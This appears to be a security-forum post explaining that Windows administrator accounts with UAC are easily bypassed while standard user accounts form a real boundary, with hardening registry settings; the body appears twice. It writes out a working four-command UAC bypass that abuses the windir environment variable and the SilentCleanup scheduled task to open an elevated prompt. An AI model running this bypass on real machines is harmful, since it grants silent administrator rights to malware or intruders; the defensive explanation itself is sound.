Andy Ful
From Hard_Configurator Tools
Thread author
Verified
Honorary Member
Top Poster
Developer
Well-known
- Dec 23, 2014
- 8,494
What is User Account with UAC? It is like a castle.
Is the castle a security? It was in the medieval ages.
What is Standard User Account (SUA) with UAC? It is a castle in the medieval ages.
What is Administrator Account (AA) with UAC? What a stupid question. It is a castle in the 21st century!
Why AA with UAC is not a security?
1. Microsoft says, that UAC is not a security, but only a security component.
2. Microsoft says the truth, AA with UAC can be easily bypassed in many ways.
Remark.
Microsoft officially says that UAC is not a security. I understand this official statement, as a statement about default UAC usage, which is mostly AA with UAC.
Example (works only in Windows 8.1+).
Run command prompt on AA as standard user and copy/execute the below commands:
reg add HKCU\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM" /f
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
reg delete hkcu\Environment /v windir /f
echo "Finished"
You can see the second command prompt window, running as administrator without UAC prompt!
You can repeat this on SUA, and you will see that the second command prompt will be run as standard user!
Can you make UAC more secure on AA? Yes.
1. You can choose 'Always notify' UAC setting.
2. You can use hidden UAC setting to elevate only executables that are signed and validated:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ValidateAdminCodeSignatures"=dword:00000001
But, even those secure settings will not prevent some UAC bypasses like from our Example.
Those baypasses can be blocked when using some other methods like Software Restriction Policies, whitelisting, blocking some system executables (see Excubits Bouncer blacklist). For example, blocking 'reg.exe' will stop the bypass from our Example.
Let's come back to medieval ages.
Why SUA (with UAC as an integral security component) is a security boundary?
1. It is recommended by Microsoft.
2. It is a security boundary from the administrator standpoint (user does not know the administrator password).
3. It is a security boundary, when preventing malware infections. Over 80% 0-day malware samples (including exploits) fail on SUA.
Can you make SUA even more secure? Yes.
You can use the same hardening settings as on AA, or disable elevation of privilege as a standard user, by the reg tweak:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ConsentPromptBehaviorUser"=dword:00000000 ---> no elevation on SUA
"ConsentPromptBehaviorUser"=dword:00000001 ---> prompt for administrator credentials on SUA
See also the excelent articles about user accounts & UAC:
Tyranid's Lair: Reading Your Way Around UAC (Part 1)
Tyranid's Lair: Reading Your Way Around UAC (Part 2)
Tyranid's Lair: Reading Your Way Around UAC (Part 3)
Is the castle a security? It was in the medieval ages.
What is Standard User Account (SUA) with UAC? It is a castle in the medieval ages.
What is Administrator Account (AA) with UAC? What a stupid question. It is a castle in the 21st century!
Why AA with UAC is not a security?
1. Microsoft says, that UAC is not a security, but only a security component.
2. Microsoft says the truth, AA with UAC can be easily bypassed in many ways.
Remark.
Microsoft officially says that UAC is not a security. I understand this official statement, as a statement about default UAC usage, which is mostly AA with UAC.
Example (works only in Windows 8.1+).
Run command prompt on AA as standard user and copy/execute the below commands:
reg add HKCU\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM" /f
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
reg delete hkcu\Environment /v windir /f
echo "Finished"
You can see the second command prompt window, running as administrator without UAC prompt!
You can repeat this on SUA, and you will see that the second command prompt will be run as standard user!
Can you make UAC more secure on AA? Yes.
1. You can choose 'Always notify' UAC setting.
2. You can use hidden UAC setting to elevate only executables that are signed and validated:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ValidateAdminCodeSignatures"=dword:00000001
But, even those secure settings will not prevent some UAC bypasses like from our Example.
Those baypasses can be blocked when using some other methods like Software Restriction Policies, whitelisting, blocking some system executables (see Excubits Bouncer blacklist). For example, blocking 'reg.exe' will stop the bypass from our Example.
Let's come back to medieval ages.
Why SUA (with UAC as an integral security component) is a security boundary?
1. It is recommended by Microsoft.
2. It is a security boundary from the administrator standpoint (user does not know the administrator password).
3. It is a security boundary, when preventing malware infections. Over 80% 0-day malware samples (including exploits) fail on SUA.
Can you make SUA even more secure? Yes.
You can use the same hardening settings as on AA, or disable elevation of privilege as a standard user, by the reg tweak:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ConsentPromptBehaviorUser"=dword:00000000 ---> no elevation on SUA
"ConsentPromptBehaviorUser"=dword:00000001 ---> prompt for administrator credentials on SUA
See also the excelent articles about user accounts & UAC:
Tyranid's Lair: Reading Your Way Around UAC (Part 1)
Tyranid's Lair: Reading Your Way Around UAC (Part 2)
Tyranid's Lair: Reading Your Way Around UAC (Part 3)
Last edited by a moderator: